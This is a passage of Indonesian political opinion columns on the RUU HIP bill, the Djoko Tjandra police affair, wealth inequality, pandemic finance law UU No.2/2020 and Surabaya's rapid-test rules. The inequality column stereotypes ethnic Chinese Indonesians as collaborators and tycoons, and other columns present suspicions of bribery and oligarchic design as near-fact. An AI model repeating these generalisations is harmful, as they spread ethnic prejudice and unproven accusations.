pada RUU HIP stigma komunisme. Sementara RUU BPIP lebih dipahami sebagai upaya pemerintah untuk memperkuat otoritarianismenya. Pemerintah mau menggunakan tafsir Pancasila versi BPIP untuk kepentingan kekuasaannya. Nantinya tafsir Pancasila yang benar hanyalah yang versi BPIP dan pemerintah. Yang di luar Pemerintah dan BPIP salah. Tambah ngawur lagi. Nampaknya, analisis yang kedua lebih pas. Ada upaya menggeser isu komunisme. Sebab, isu komunisme dianggap lebih sensitif dari isu otoritarianisme. Selama ini, isu komunisme yang melekat pada RUU HIP telah mendorong gelombang protes umat Islam di berbagai daerah. Apakah pergeseran isu ini akan berhasil? Bisa iya, bisa tidak. Bergantung konsistensi umat Islam pada tuntutannya, yaitu batalkan RUU HIP dan usut para inisiatornya? Tuntutan ini menjadi pokok utama dalam maklumat MUI. Yang pasti, seiring dengan pergantian nama dari RUU HIP ke RUU BPIP, akan muncul narasi dan diskursus baru. Tidak saja narasi dan diskursus baru, tetapi juga kekuatan lobi akan menjadi penentu. Apakah MUI, Ormas dan umat Islam konsisten pada tuntutannya? Atau sebaliknya, justru masuk angin. Kita lihat, apa yang akan terjadi. Jika umat Islam tetap menuntut "bubarkan BPIP" sebagaimana yang tersirat dalam sikap PBNU dan rekomendasi Konggres Umat Islam Indonesia (KUII) V, maka isu RUU HIP atau RUU BPIP akan terus mendapatkan energinya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Jangan Alihkan Kesalahan Polri ke Surat Jalan Djoko Tjandra

by Asyari Usman Jakarta, FNN - Kamis (16/07). Sengaja atau tidak, pimpinan Polri berusaha mengalihkan fokus kesalahan Polri secara institusional menjadi kesalahan Brigjen Prasetijo Utomo (PU) yang mengeluarkan surat jalan (SJ) untuk Djoko Tjandra (DT). Cara pengalihan kesalahan ini sangat ‘high profile’. Tak kurang Kadiv Humas Irjen Argo Yuwono melakukan ‘spin doctoring’ (pengolahan opini) yang lumayan canggih. Tujuannya bisa ditebak. Yakni, supaya publik mengarahkan kritik atau celaan kepada Brigjen Prasetijo saja. Nah, publik harus disadarkan. Kesalahan terbesar dalam kasus Djoko Tjandra alias Joko Soegiarto Tjandra (JST) bisa keluar masuk Indonesia secara ilegal, dan melakukan berbagai kegiatan termasuk pembuatan e-KTP super cepat, bukanlah di tangan Brigjen PU. Kesalahan terbesar dalam drama ini ada di tangan Polri, khususnya jajaran intelijen dan Bareskrim. Mengapa? Karena alur utama drama DT (JST) adalah kegagalan Polisi menangkap buronan ‘most wanted’ korupsi itu. Jadi, yang harus dipersoalkan adalah mengapa DT tidak terdeteksi dan tidak bisa ditangkap? Ini yang teramat penting untuk dijawab. Apakah kesalahan Brigjen Prsetijo lebih fundamental atau kesalahan institusi Polri yang fatal? Ini yang harus diurai tuntas. Surat jalan atas nama DT yang dikeluarkan oleh mantan Karokorwas PPNS Bareskrim Polri, memang tindakan yang salah. Dan Brigjen PU wajar mendapatkan hukuman administratif. Sudah tepat dia dicopot dari jabatannya. Tapi, pembuatan surat jalan oleh Brigjen PU itu bukan kesalahan utama dalam drama yang berbau busuk ini. Surat jalan untuk DT hanya ‘satu adegan kecil’ diantara adegan-adegan yang mungkin melibatkan bintang-bintang besar di Polri dan juga di instusi-institusi lain. Surat jalan itu hanya digunakan dalam perjalanan Djoko dari Jakarta ke Pontianak dan balik ke Jakarta lagi. SJ itu hanya berlaku dari 19 Juni sampai 22 Juni. Padahal, DT berada di Indonesia selama tiga (3) bulan. Keberadaan DT yang cukup lama ini (yakni antara akhir Maret 2020 sampai akhir Juni 2020) diungkapkan oleh Jaksa Agung ST Burhanuddin ketipa rapat kerja dengan Komisi III DPR pada 29 Juni 2020. Jaksa Agung mengakui intelijen Kejakgung lemah. Gagal menangkap DT (JST). Tapi, Menkum HAM Yasonna Laoly mengatakan pihaknya tidak mempunyai data tentang keberadaan Djoko Tjandra selama tiga (3) bulan itu. Kalau Kejaksaaan berkilah intelijen mereka lemah, tentu tidak begitu halnya dengan intelijen Polri. Intel Polisi pasti sangat kuat. Dengan ribuan personel yang terlatih. Nah, mengapa kepolisian “tak tertarik” untuk menangkap Djoko. Padahal, polisi tahu si buronan ini pernah dalam status Red Notice (buronan) di Markas Interpol atas permintaan Kejaksaan Agung. Dari 2009 sampai 2015. Red Notice dihapus karena tidak ada permintaan perpanjangan dari Kejaksaan. Ini pun cukup mengherankan. Mengapa tidak diperpanjang? Sangat menakjubkan! Patut diduga Red Notice itu dihapus atas permintaan dari pihak DT dengan imbalan yang cukup besar. Kepolisian perlu menjelaskan mengapa mereka “tak mendeteksi” keberadaan DT di Indonesia seperti disebut di atas. Sungguh sangat aneh kalau Polisi juga beralasan intelijen mereka lemah. Manko Polhukam Mahfud MD merasa kesal mengapa Polisi –dan juga Kejaksaan— tidak mau atau tidak bisa menangkap DT. Menurut Mahfud, Indonesia sangat malu dipermainkan oleh Djoko Tjandra. Padahal, kata Mahfud, Polisi itu hebat sekali. Dan juga Kejaksaan Agung. Karena itu, kesalahan Polri secara institusional tidak wajar kalau ditimpakan kepada Brigjen Prasetijo Utomo. Brigjen PU memang nyata melakukan kesalahan dengan penerbitan SJ untuk Djoko Tjandra. Untuk keselahan itu dia membayarnya dengan pencopotan yang mempermalukan dirinya. Bahkan, kalau ada celahnya, bagus juga perbuatan Prasetijo itu ditelusuri tuntas. Kalau ada unsur pidananya, tentu harus diproses. Bila perlu, Prasetijo dipecat saja sekalian dari Polri. Namun, jangan sampai ‘adegan kecil’ Brigjen itu diolah sedemikian rupah sehingga kesalahan Kepolisian menjadi tertutupi. Tidaklah adil mengalihkan kesalahan Polri ke surat jalan Djoko Tjandra. Penulis adalah Wartawan Senior

Berebut “Warisan Rp 600 Triliun” di Pandemi Kesenjangan

by Dr. Ahmad Yani MH. Jakarta FNN – Kamis (16/09). Sore tadi saya membaca tulisan Dr. Syahganda Nainggolan yang berjudul “Warisan 600 Triliun, Bansos 600 Ribu dan Tantangan Sila Kelima Pancasila”. Sebelumnya saya membaca sebuah judul berita salah satu media online yang menyebutkan Freddy Widjaya menggugat lima saudara tirinya. Saya tidak tertarik untuk melihat secara komprehensif makna dibalik peristiwa itu. Namun tulisan Saudara Syahganda menyentak hati saya. Bahwa masalah perebutan Rp. 600 triliun oleh ahli waris Eka Tjipta Widjaja adalah masalah keadilan sosial. Saya mencoba memahami ini dengan kecamata yang agak lebih kritis. Sebab di tengah rakyat berebut Rp. 600 ribu untuk menghadapi badai ekonomi di tengah pendemi ini, ternyata ada satu keluarga yang memperebutkan uang Rp 600 triliun. Angka itu bagi sebagian rakyat Indonesia adalah khayalan, tetapi bagi taipan adalah angka biasa. Pengusaha “Cina “ Di Indonesia Sejak jaman kolonial, kaum penjajah dengan sengaja menciptakan kesenjangan sosial. Masyarakat “Timur Asing” yang didominasi “etnis China” difungsikan sebagai pelaku perdagangan. Dari sanalah praktik kongkalingkong penguasa dan pengusaha bermula. “Etnis Cina” selalu mendapatkan keuntungan dari kolonialisme Belanda di Indonesia. Pedagang-pedagang “cina “ mendapatkan posisi yang tinggi, dengan usaha yang lebih maju dan memiliki hak dan status yang lebih tinggi dari pada penduduk Indonesia lainnya. Dengan kemampuan untuk “mengambil hati” penjajah itu, pedangang “Cina “ mendapatkan keramahan dari pemerintah Hindia Belanda. Sebaliknya, warga pribumi selalu menjadi korban “persekongkolan” para pendatang dan penjajah ini. Terjadilah monopoli di bidang perdagangan. Monopoli ini sebagai akibat adanya kongkalikong antara pengusaha “Cina “ dengan Pemerintah Hindia Belanda. Pribumi tentu merasakan dampak yang tidak baik, sebagai akibat kongkalikong tersebut. Untuk melawan dominasi aseng itu, pedagang-pedagang Islam mulai memunculkan rasa nasionalismenya. Kebangkitan awal gerakan nasionalisme Indonesia dimulai dari gerakan padagang Islam. Berdirinya Sarekat Dagang Islam (SDI) menjadi awal mula kesadaran nasionalisme itu dibidang ekonomi. Pada masa Orde Baru, posisi para taipan Cina menjadi semakin kuat. Apalagi dengan kebijakan pemerintah yang memberikan keuntungan besar bagi mereka. Sehingga muncullah kesenjangan dan ketidakadilan di bidang ekonomi. Rezim Orde Baru menggunakan pengusaha etnis China sebagai ujung tombak membangun ekonomi nasional. Mereka ‘diternak’ untuk difungsikan menjadi mitra penguasa dalam mengelola perekonomian nasional. Seluruh bidang usaha berada dalam cengkeraman pengusaha Cina ini. Dampak dari semua itu adalah ketidakdilan sosial dan kesenjangan ekonomi yang begitu sangat dahsyat. Survei lembaga Oxfam merilis, aset 4 orang terkaya Indonesia mencapai U$ 25 miliar dolar. Setara dengan harta 100 juta orang miskin. Kekuatan modal yang mereka miliki begitu besar, sehingga berkemampuan menyandera, mendikte, dan mengendalikan perekonomian nasional. Menjadi seperti ‘negara dalam negara’. Mereka semakin kaya dan membesar. Ruang gerak perekonomian rakyat makin menyempit. Indonesia pun masuk enam besar negara dengan tingkat kesenjangan ekonomi tertinggi di dunia. (Sumber: https://www.watyutink.com/topik/politika/Mengapa-Hanya-Mereka-yang-Kaya). Misrisnya, dalam laporan Credit Suisse yang bertajuk Global Wealth Report 2018 menunjukkan bahwa 10 orang paling kaya di Indonesia menguasai 75,3% total kekayaan penduduk dewasa. Sementara 1% orang terkaya Indonesia mendominasi 46% total kekayaan penduduk dewasa. Ini menggambarkan tingginya ketimpangan kekayaan yang terjadi di masyarakat. (Sumber: https://databoks.katadata.co.id/datapublish/2018/11/09/10-orang-terkaya-di-indonesia-kuasai-75-kekayaan-penduduk) Melihat kenyataan tersebut, tentu membuat kita miris. Namun negara tidak mampu mengendalikan ketimpangan ini. Justru yang ada dugaan pemerintah berada dalam kendali oligarki ekonomi yang membuat ketimpangan tersebut. Kembali Ke Ekonomi Pancasila Mengutip tulisan Ichsanuddin Noorsy “Kembali Ke Ekonomi Konstitusi 1945”. Ketimpangan tersebut, selain karena kegagalan sistem ekonomi dan politik, juga karena kegagalan itu merujuk pada kegagalan sistem hokum, sehingga muara dari kegagalan itu adalah meluasnya rasa ketidak adilan. Indikasinya bukan sekadar pada soal Gini Rasio yang menggambarkan ketimpangan pendapatan saja. Berbedanya pelayanan politik kekuasaan dan hukum terhadap mereka yang menguasai sumberdaya, produksi dan distribusi dengan kualitas layanan publik bagi rakyat jelata. Tesa semakin kaya seseorang semakin sedikit hukum yang berlaku atas dirinya. Kenyataan ini berlaku dan menjadi tontonan kaum marjinal. Inilah kenyataan yang dirasakan oleh bangsa Indonesia sekarang ini. Dimana ketimpangan dan ketidakadilan sudah menyentuh pada semua aspek kehidupan berbngsa dan bernegara. Pemusatan kekayaan pada satu atau dua kelompok memperlihatkan kegagalan negara menstribusikan keadilan sosial di negeri ini. Meminjam Ichsanuddin Noersy tadi, kembali Ke Ekonomi Konstitusi 1945 adalah kembali kepada sistem ekonomi Pancasila. Dimana dalam Pancasila itu terdapat nilai dan spirit ajaran Islam yang mengatur tentang masalah ekonomi dan keadilan. Dalam ajaran Islam, ada anjuran untuk memberikan harta kepada orang yang tidak berkecukupan. Al-Quran mengatakan: “… dan berikanlah kepada mereka sebagian dari harta Allah yang dikaruniakan-Nya kepada kalian….” Artinya segala sesuatu itu adalah milik Allah, yang harus kita berikan kepada orang yang membutuhkan. Lebih Jelas lagi Rasulullah SAW bersabda, “barang siapa yang menimbun barang, maka ia bersalah (berdosa )" (HR Muslim ). Menimbun atau menyembunyikan dalam syara' itu berarti ihtikar yang artinya adalah tindakan menyimpan atau menimbun harta yang tidak ingin dijual atau diberikan kepada orang lain. Tindakan menyimpan dan menimbun harta seperti ini menimbulkan sifat keserakahan atau ketamakan didalam diri manusia. Sifat yang seperti inilah yang membuat orang selalu merasa kekurangan. Orang yang menimbun barang ini hanya ingin menuruti nafsu mereka, yang hanya ingin untung dan menumpuk keuntungan sampai menyundul langit. Kalau kita kaji dalam perspektif negara, terjadinya penumpukan harta dengan mengeksploitasi sumber daya alam dan sumber daya ekonomi lainnya, merupakan pengingkaran terhadap cita-cita luhur bangsa Indonesia. Sebab, Bumi Air dan seluruh kekayaan yang ada di dalamnya dikuasai oleh negara dan dipergunakan untuk kemakmuran rakyat. Konstitusi mengatur bahwa negara menguasai segala sumber daya itu. Kalua terjadi penumpukan harta, artinya negara merawat kesenjangan dan gagal mewujudkan keadilan sosial. Karena itu ketimpangan ekonomi, penumpukan harta pada satu atau dua orang adalah kezaliman yang nyata. Dimana satu orang atau sekelompok orang (oligarki) menguasai sebagian besar sumber daya alam dan ekonomi suatu negara, sementara sebagian besar masyarakat berebut demi sesuap nasi. Konkritnya, seperti yang dikatakan oleh Syahganda, anak-anak konglomerat berebut Rp 600 triliun dari hasil peninggalan orang tuanya. Sementara 10 juta rakyat Indonesia per-keluarga berebut Rp 600 ribu kemudian dipotong dari juli s/d Desember menjadi Rp. 300 ribu. Inilah potret ketimpangan di Indonesia. Teologi Al-Ma’un & Kedustaan Berbangsa Dalam tumpukan kekayaan yang luar biasa itu, kita perlu merenungi dan mengingat bagaimana Pendiri Muhammadiyah, KH. Ahmad Dahlan menggunakan Quran Surah Al-Ma’un sebagai senjata analisis untuk melihat ketimpangan yang terjadi pada masyarakat Indonesia kala itu. Teologi Al-Ma’un adalah keberpihakan kepada fakir miskin dan kaum duafa yang jumlahnya cukup massif di Indonesia sampai saat ini. Dengan al-Maun kepekaan sosial kita diuji, keimanan kita dipertanyakan, kalau belum menyantuni anak yatim dan memberi makan fakir miskin. Maka, apabila kaum miskin dan anak yatim belum mendapatkan pemeliharaan, belum mendapatkan santunan dari negara, maka kita telah berdusta dalam bernegara. Bukankah konsitusi mengatakan “fakir miskin dan anak telantar dipelihara oleh negara”. Lalu kenapa kesenjangan terus melebar? Ini masalah serius bangsa hari ini yang harus kita pecahkan bersama. Pancasila hanya dijadikan slogan dan jargon. Akan tetapi dalam menjalankan tata kelola negara, Pancasila tidak dijadikan dasar dan sumber pijakan. Janji-janji kemerdekaan yaitu, “mencerdaskan, mensejahterahkan, dan melindungi seluruh rakyat dan tumpah darah”, yang semakin tertinggal jauh. Kiblat bangsa telah bergeser, Inilah masalah bangsa ini. Di tengah rakyat yang behimpitan ekonomi, berebut bantuan ala kadarnya dari negara, ada satu keluarga konglomerat berebut harta warisan dengan jumlah yang sangat fantastis. Kenyataan ini memperlihatkan ada ketimpangan sosial dan ketimpangan ekonomi yang cukup serius. Ini bisa menjadi malapetaka bagi bangsa ini. Oleh sebab itu, hanya dengan kesadaran al-Ma’un kita dapat menciptakan keadilan sosial yang otentik untuk membangun negara. Agar menjadi negara yang baldatun thoyyibatun wa robbun ghofur. Wallahualam bis shawab. Penulis adalah Dosen FH, Fisip UMJ & Inisiator Masyumi Reborn.

UU Korona No.2/2020, Cara Sistemik Amankan Bisnis Oligarki

by Dr. Marwan Batubara, KMPK Jakarta FNN – Kamis (16/07). Peraturan Pemerintah Pengganti Undang-undang (Perppu) No.1/2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Covid-19 dan atau Dalam Rangka Menghadapi Ancaman Yang Membahayakan Perekonomian Nasional dan/atau Stabilitas Sistem Keuangan disahkan menjadi UU pada Sidang Paripurna DPR 12 Mei 2020. Perppu ditandatangani Presiden Jokowi menjadi UU No.2/2020 pada 16 Mei 2020. Menurut pemerintah UU No.2/2020 ini bertujuan merelaksasi sejumlah peraturan guna menghadapi Covid-19 dan menjaga stabilitas sistem keuangan. Menkeu Sri Mulyani mengatakan UU No.2/2020 menjadi landasan hukum agar pemerintah dan otoritas terkait dapat mengambil langkah-langkah luar biasa secara cepat dan akuntabel guna menangani pandemi korona. Ditambahkan, upaya tersebut diperlukan mengingat pandemi Covid-19 bukan hanya masalah kesehatan. Tetapi masalah kemanusiaan yang berdampak pada aspek socialekonomi, dan mempengaruhi fundamental perekonomian nasional (14/4/2020). Saat menyerahkan Perppu No.1/2020 kepada Pimpinan DPR tanggal 2 April 2020, Menkeu Sri Mulyani mengatakan "pemerintah dalam hal ini Komite Stabilitas Sistem Keuangan(KSSK) bekerja sama dengan Kejaksaan, Kepolisian, dan bahkan KPK. Tujuannya, agar potensi moral hazard bisa dihindari. Dikatakan pula, moral hazard dapat dicegah karena kebijakan keuangan dan pelaksanaannya tetap memperhatikan tata kelola yang baik sesuai Pasal 12 (1) UU No.2/2020. Moral hazard bisa berujung korupsi. Diyakini korupsi tidak dapat dihindari dan dihilangkan hanya melalui kerja sama antar lembaga dan tata kelola yang baik. Terutama karena menyangkut masalah subjek pelaku, sistem peraturan perundangan dan penegakan hukum. Disamping subjek pejabat pelaksana harus professional, beramanah dan bertanggungjawab. Sistem peraturan peraturan perundang-undangan yang berlaku saat ini dan juga yang perlu dipersiapkan. Agar harus dijalankan secara menyeluruh dan konsisten. Jika dicermati, moral hazard dalam pelaksanaan UU No.2/2020, justru potensial terjadi. Karena UU tersebut berisi banyak ketentuan yang melanggar konstitusi dan melanggar ketentuan dalam sejumlah UU yang berlaku saat ini. Hal yang paling mendasar adalah pelanggaran terhadap konstitusi terkait eliminasi hak DPR dalam penetapan defisit dan APBN (Pasal 2 dan Pasal 12). Status kebal hukum bagi pejabat pelaksana kebijakan (Pasal 27), dan eliminasi fungsi pengawasan oleh DPR dan BPK (Pasal 27). Moral hazard pun dapat terjadi dalam program pemulihan ekonomi. Terutama melalui pembiayaan investasi pemerintah berupa modal negara (PMN). Penempatan dana investasi dan penjaminan, jika tidak diatur rinci berpotensi menjadi permasalahan kelak (Pasal 11). Dalam kaitan ini diperlukan kejelasan objek, sektor, parameter, mekanisme, lembaga pelaksana, penjaminan dan sasaran strategisnya. Model pemulihan yang tidak jelas dan terbuka seperti ini, akan membuka peluang moral hazard yang tinggi, sehingga dana penjaminan justru potensial dinikmati sejumlah pihak sebagai bagian dari oligarki. Peluang moral hazard juga terbuka. Karena UU No.2/2020 memuat ketentuan (Pasal 22) dimana untuk mencegah krisis sistem keuangan, pemerintah dapat membuat program penjaminan di luar program penjaminan simpanan seperti diatur UU LPS. Karena kriteria yang tak jelas, akan dibantu LPS secara full garantee justru bisa saja bank dan para pengusaha yang kesulitan likuiditas. Bukan karena pandemi korona. Ini akan membuka peluang moral hazard yang kelak menjadi beban keuangan negara. Moral hazard pun potensial terjadi. Karena dihapusnya berbagai ketentuan dalam 12 UU yang berlaku saat ini (Pasal 28). Dengan begitu, banyak peraturan perundangan yang disusun puluhan tahun oleh sejumlah pemerintahan dan DPR sebelumnya, termasuk yang menjadi amanat reformasi, dinyatakan tidak berlaku! Hal ini akan menimbulkan dampak negatif terhadap sistem otorisasi dan tata kelola APBN, keuangan negara dan moneter. Kondisi ini menjadikan kewenangan Presiden sangat besar dan berpotensi menimbulkan abuse of power.Ringkasnya, langkah-langkah sistemik bernuansa moral hazard yang pro-oligarki, diatur dalam UU No.2/2020 adalah sebagai berikut. Pertama, menyatakan kondisi kegentingan memaksa. Meskipun secara faktual kondisi tidak genting, karena bahaya krisis ekonomi umumnya terjadi secara gradual. Kedua, eliminasi fungsi budget DPR yang dijamin konstitusi. Ketiga, raih dan tetapkan status kebal hukum bagi para pelaksana kebijakan dan program. Keempat, batalkan seluruh ketentuan dalam 12 UU yang menghalangi pelaksanaan kebijakan dan program. Kelima, kendalikan dan paksa Bank Indonesia (BI) untuk bekerja dan menjadi bagian dari pemerintah. Keenam, batalkan prinsip transparansi berkeadilan berdasar skema bail-in dalam mencegah dan menangani krisis sistem keuangan, demi melindungi kepentingan para oligarki. Dengan berbagai ketentuan inkonstitusional dan menyimpang seperti diuraikan di atas, maka bukannya terhindar atau bebas moral hazard. UU No.2/2020 justru membuka peluang terjadinya moral hazard dalam pelaksanaan berbagai kebijakan dan program yang berpangkal pada UU tersebut. Dalam hal ini dapat dikatakan pemerintah telah mengawali penanganan pandemi Covid-19 dan dampaknya terhadap permasalahan sosial, keuangan dan perekonomian nasional. Apalagi dengan membuat peraturan yang justru sarat moral hazard! Padahal, belajar dari krisis keuangan 1997-1998 dan krisis ekonomi 2008, Pemerintah dan DPR telah melakukan perbaikan dan membangun sistem keuangan yang siap menghadapi krisis sistem keuangan. Upaya perbaikan meliputi penataan kelembagaan, pembentukan dan amendemen UU No.23/1999 tentang BI, pendirian Lembaga Penjamin Simpanan (LPS) sesuai UU No.24/2004 dan pendirian Otoritas Jasa Keuangan (OJK) sesuai UU No.21/2011. Selain itu, telah dibentuk pula UU No.9/2016 tentang Pencegahan dan Penanganan Krisis Sistem Keuangan (PPKSK). UU ini dipersiapkan dalam rangka memenuhi kebutuhan payung hukum untuk mengatur upaya pencegahan dan penanganan krisis sistem keuangan. Jika dicermati, UU BI dibentuk dan dirubah agar BI dapat menjadi lembaga otonom, independen, dan bebas dari campur tangan pemerintah dan pihak-pihak lain. Diharapkan pengendalian moneter dapat dilakukan efektif dan efisien. Begitu juga dengan UU-UU tentang LPS, OJK dan PPKSK yang dibentuk dalam upaya mewujudkan stabilitas sistem keuangan yang kuat mencegah dan menangani krisis sistem keuangan, termasuk mencegah moral hazard. UU PPKSK No.9/2016 secara spesifik mengatur prinsip-prinsip dalam pencegahan dan penanganan krisis sistem keuangan yang tidak diatur sebelumnya. UU PPKSK mengatur skema bail-in dalam penanganan bank sistemik dengan mengoptimalkan kemampuan bank. Baik melalui penambahan modal maupun pengubahan utang atau investasi menjadi penyertaan. Saling keterkaitan sektor jasa keuangan menuntut kebijakan makroprudensial yang bersifat melengkapi kebijakan mikroprudensial dan pengawasan sektor keuangan terintegrasi. Ternyata, meskipun berbagai perangkat dan peraturan mengantisipasi dan menangani krisis ekonomi dan keuangan telah tersedia, pemerintahan Jokowi tidak menggubris dan justru dengan sengaja mengeliminasinya! Secara khusus, pemerintah sengaja mengeliminasi peran UU PPKSK dalam Pasal 28 (poin 11) UU No.2/2020. Padahal, berbagai perangkat tersebut disusun setelah belajar dari dampak negatif penanganan krisis eknomi dan keuangan masa lalu. Saat itu penanganan krisis sangat merugikan keuangan negara, dan penyebab utamanya adalah prilaku moral hazard penyelenggara negara dan para pengusaha. Prilaku pemerintah seperti di atas jelas menunjukkan sikap yang lebih berpihak kepada pengusaha. Bahkan menjadi bagian oligarki kekuasaan. Karena itu, tak heran jika UU No.2/2020 lebih banyak memuat ketentuan menangani kepentingan pengusaha dan penyelamatan sistem keuangan dan perbankan. Segelintir pengusaha memperoleh bagian yang besar, termasuk insentif fiskal dan pemotongan pajak. Sementara ratusan juta rakyat justru tidak mendapat bagian dan penanganan memadai serta berkeadilan. Kebijakan tidak untuk keselamatan dan jaring pengaman social untuk rakyat kecil. Salah satu implementasi UU No.2/2020 pro-oligarki kekuasaan adalah terbitnya Perpres No.54/2020 dan Perpres No.72/2020. Kedua Perpres ini berfungsi sebagai APBN-P yang berubah hanya dalam waktu dua bulan. Dua Perpres ini telah ditetapkan secara sepihak oleh pemerintah tanpa partisipasi DPR sebagai pemegang hak konstitusional budgeting dan sebagai wakil rakyat untuk memperoleh keadilan dalam pemanfaatan uang negara di APBN. Mengingat peran DPR dihilangkan, maka pembentukan dan pelaksanaan UU No.2/2020 berada di tangan segelintir orang dalam oligarki kekukasaan yang cenderung pro-pengusaha. Juga yang pro-kapitalis, maka ke depan ekonomi dan kehidupan ratusan juta rakyat berada dalam kondisi ketidakadilan dan jauh dari rasa kebersamaan. Indonesia akan berada dalam cengkeraman segelinitr orang dalam oligarki kekuasaan dan para pemilik modal. Pada gilrannya, hal ini akan mengancam kelangsungan hidup berbangsa dan bernegara Indonesia. Kita telah melihat dan merasakan prilaku moral hazard yang mewaranai, dan sangat menentukan kehidupan rakyat di masa lalu dengan perekonomian dan beban utang yang sangat besar. Mega skandal BLBI telah meninggalkan utang negara Rp 640,9 triliun dan akan menjadi beban APBN dan beban rakyat hingga tahun 2033. Itu pun jika pokok utang dilunasi. Megaskandal ini tidak dapat dituntaskan, meskipun telah ditangani oleh empat periode pemerintahan, terutama karena kuatnya pengaruh oligarki pengidap moral hazard. Ternyata saat ini peran oligarki penguasa-pengusaha tetap ada. Bahkan semakin exist dibanding masa lalu. Atas nama Covid-19, APBN ditetapkan dengan jumlah belanja yang semakin besar, karena kebutuhan mengamankan kepentingan para pengusaha. Belanja APBN yang besar ditutup dengan utang yang semakin besar dan tanpa kendali. Dalam hal ini, peran pengusaha dalam oligarki kekuasaan bernuansa moral hazard terasa cukup dominan. Ke depan pola kekuasaan bernauansa moral hazard ini akan berdampak pada kehidupan rakyat yang semakin jauh dari rasa keadilan dan kebersamaan yang diamanatkan Pancasila. Namun ironi dan nestapa tersebut dapat dicegah jika Mahakamah Konstitusi bisa bekerja bebas “intervensi” memutus gugatan judicial review sejumlah elemen publik terhadap UU No.2/2020. Fungsi budget DPR dipulihkan, peran BI dan LPS dijalankan sesuai UU. Krisis diatasi secara berkeadilan sesuai perintah UU PPKSK, serta pengaruh moral hazard dan dominasi pengusaha/konglomerat dalam oligarki kekuasaan dihilangkan. Dalam kondisi bencana dan krisis, sanksi hukum bagi koruptor adalah pidana mati seperti diatur dalam Pasal 2 UU Tipikor No.20/2001. Namun hukuman tersebut hanya dapat diterapkan jika tersedia landasan hukum yang komprehensif, adil, bebas moral hazard dan bebas status kebal hukum yang diskriminatif. Bagaimana sanksi hukum bisa dijalankan jika semua prasyarat tersebut telah dieliminasi seperti direkayasa dalam UU No.2/2020? Dengan demikian, agenda penguasaan APBN secara tidak adil akan berlangsung mulus. Apakah itu artinya UU No.2/2020 memang sengaja dibentuk, sarat dengan prilaku moral hazard agar tersedia cara sistemik bernuansa moral hazard untuk mengamankan bisnis oligarki? Wallahu a’lam. Penulis adalah Managing Director Indonesian Resoeurces Studies (IRESS)

Aturan Baru Bikin Susah, Advokat Soleh Menggugat, Rapid Test Diragukan Pakar!

Oleh Mochamad Toha Jakarta, FNN - Sepanjang Kamis (16/7/2020) sejak pagi hingga sore, pendengar Radio Suara Surabaya telah mengkritisi Perwali No. 33 Tahun 2020 yang merevisi Peraturan Walikota (Perwali) No. 28 Tahun 2020: Pedoman Tata Kehidupan Baru Menghadapi Pandemi Covid-19. Ada ketentuan bagi pekerja dari luar Kota Surabaya harus bisa menunjukkan hasil rapid test nonreaktif atau swab negatif yang berlaku 14 hari. Ada pula pemberlakuan lagi jam malam mulai pukul 22.00. Perwali tersebut merevisi perwali sebelumnya yang berisi protokol kesehatan di 12 sektor. Ketentuan wajib rapid test nonreaktif atau tes swab negatif itu berlaku bagi karyawan atau pekerja di perusahaan. Selain itu, ketentuan tersebut juga berlaku untuk karyawan di restoran, rumah makan, kafe, warung, dan usaha sejenis. Pemilik gerai di toko swalayan, toko, dan pusat perbelanjaan juga mewajibkan karyawan untuk menunjukkan hasil rapid test nonreaktif atau swab negatif. Surat tersebut dikeluarkan oleh dokter rumah sakit atau Puskesmas. Bahkan, orang dari luar Kota Surabaya (baca: Surabaya Raya) yang hendak masuk ke Surabaya harus menunjukkan surat rapid test nonreaktif atau swab negatif. Surat itu berlaku 14 hari. Wakil Sekretaris Gugus Tugas Percepatan Penanganan Covid-19 Surabaya Irvan Widyanto mengungkapkan, aturan terkait dengan ketentuan rapid atau swab test itu didasarkan pada surat edaran dari BNPB. Selain itu, pemkot ingin menekan persebaran Covid-19 di Surabaya. ”Terutama di bidang yang berhubungan dengan orang banyak. Seperti SPG di mal atau waiters di restoran, mereka harus dipastikan kesehatannya,” ujar Irvan, Selasa (14/7/2020). Edaran dari BNPB itu terkait dengan penggunaan rapid atau swab test untuk orang yang naik moda transportasi, baik darat, udara, maupun laut. Sebelumnya, ketentuan tersebut hanya berlaku tujuh hari. Namun, dengan adanya surat edaran tersebut, surat itu berlaku 14 hari. ”Berlaku untuk warga dari luar kota. Kami ingin memastikan tidak ada penularan dari luar kota,” tambahnya, seperti dilansir JawaPos.com, Rabu (15 Juli 2020, 15:48:04 WIB). Selain soal surat rapid dan swab test, perwali juga mengatur jam malam mulai pukul 22.00. Pada jam tersebut, tidak boleh lagi ada aktivitas di luar rumah. ”Jadi, warkop-warkop atau tempat usaha yang biasanya buka 24 jam kini tak boleh buka lagi,” ungkap Irvan. Namun, memang ada kegiatan yang dikecualikan. Yakni, kegiatan yang berkaitan dengan kesehatan seperti rumah sakit, apotek, dan fasilitas kesehatan lainnya. Diperbolehkan pula pasar, stasiun, terminal, pelabuhan, SPBU, jasa pengiriman barang, dan minimarket. Namun, minimarket tersebut harus terintegrasi dengan bangunan sebagai fasilitas pelayanan masyarakat. Melansir Detik.com, Sabtu (04 Jul 2020 14:24 WIB), menurut pakar Epidemiolog UI Pandu Riono, bicara mengenai rapid test yang marak dilakukan pemerintah daerah di tengah wabah Virus Corona atau Covid-19, rapid test semestinya dihentikan secepatnya. “Menurut saya, harus segera. Kalau perlu, besok Senin rapid test di seluruh Indonesia itu bisa dihentikan,” ujar Pandu dalam diskusi “Jelang Usai PSBB Transisi”, Sabtu (4/7/2020). Menurut dosen Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM UI) itu, rapid test sangat tidak akurat. Menurutnya, hasil rapid test tidak bisa menjadi acuan. “Adanya testing cepat antibodi, rapid test, ini sangat tidak akurat,” imbuh Pandu. “Yang dites itu antibodi. Antibodi itu artinya respons tubuh terhadap adanya virus. Itu terbentuk seminggu atau beberapa hari setelah terinfeksi. Kalau tidak reaktif, bukan berarti tidak terinfeksi. Kalau reaktif, bukan berati bisa infeksius,” kata Pandu. Dengan maraknya fenomena rapid test, terang Pandu, terjadilah komersialisasi. Salah satunya ketika rapid test menjadi syarat seseorang sebelum boleh menggunakan transportasi pesawat ataupun kereta api. Padahal, menurutnya, rapid test belum dijamin akurasinya. “Itu useless sebenarnya,” jelas Pandu. “Karena kalau tidak, publik rugi, atau banyak uang negara yang seharusnya bisa meningkatkan kapasitas tim PCR, (malah) hanya untuk membeli (alat) rapid,” tuturnya. Warga Berat Aturan “wajib” rapid test dinilai memberatkan warga. Karena itulah, dua 